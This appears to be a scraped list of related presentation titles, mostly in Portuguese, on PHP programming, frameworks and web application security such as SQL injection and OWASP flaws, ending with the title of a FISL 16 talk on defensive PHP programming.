Rumo à Certificação PHP
 
Curso PHP - 1a. Aula (2013.2)
Curso PHP - 1a. Aula (2013.2)Curso PHP - 1a. Aula (2013.2)
Curso PHP - 1a. Aula (2013.2)
 
Php FrameWARks - sem CakePHP
Php FrameWARks - sem CakePHPPhp FrameWARks - sem CakePHP
Php FrameWARks - sem CakePHP
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Doctrine for dummies
Doctrine for dummiesDoctrine for dummies
Doctrine for dummies
 
Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7Minicurso de Segurança em Java EE 7
Minicurso de Segurança em Java EE 7
 
Sql injection
Sql injectionSql injection
Sql injection
 
PHP(I-Bim).ppt
PHP(I-Bim).pptPHP(I-Bim).ppt
PHP(I-Bim).ppt
 
Segurança em PHP: O que você precisa saber
Segurança em PHP: O que você precisa saberSegurança em PHP: O que você precisa saber
Segurança em PHP: O que você precisa saber
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 

[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques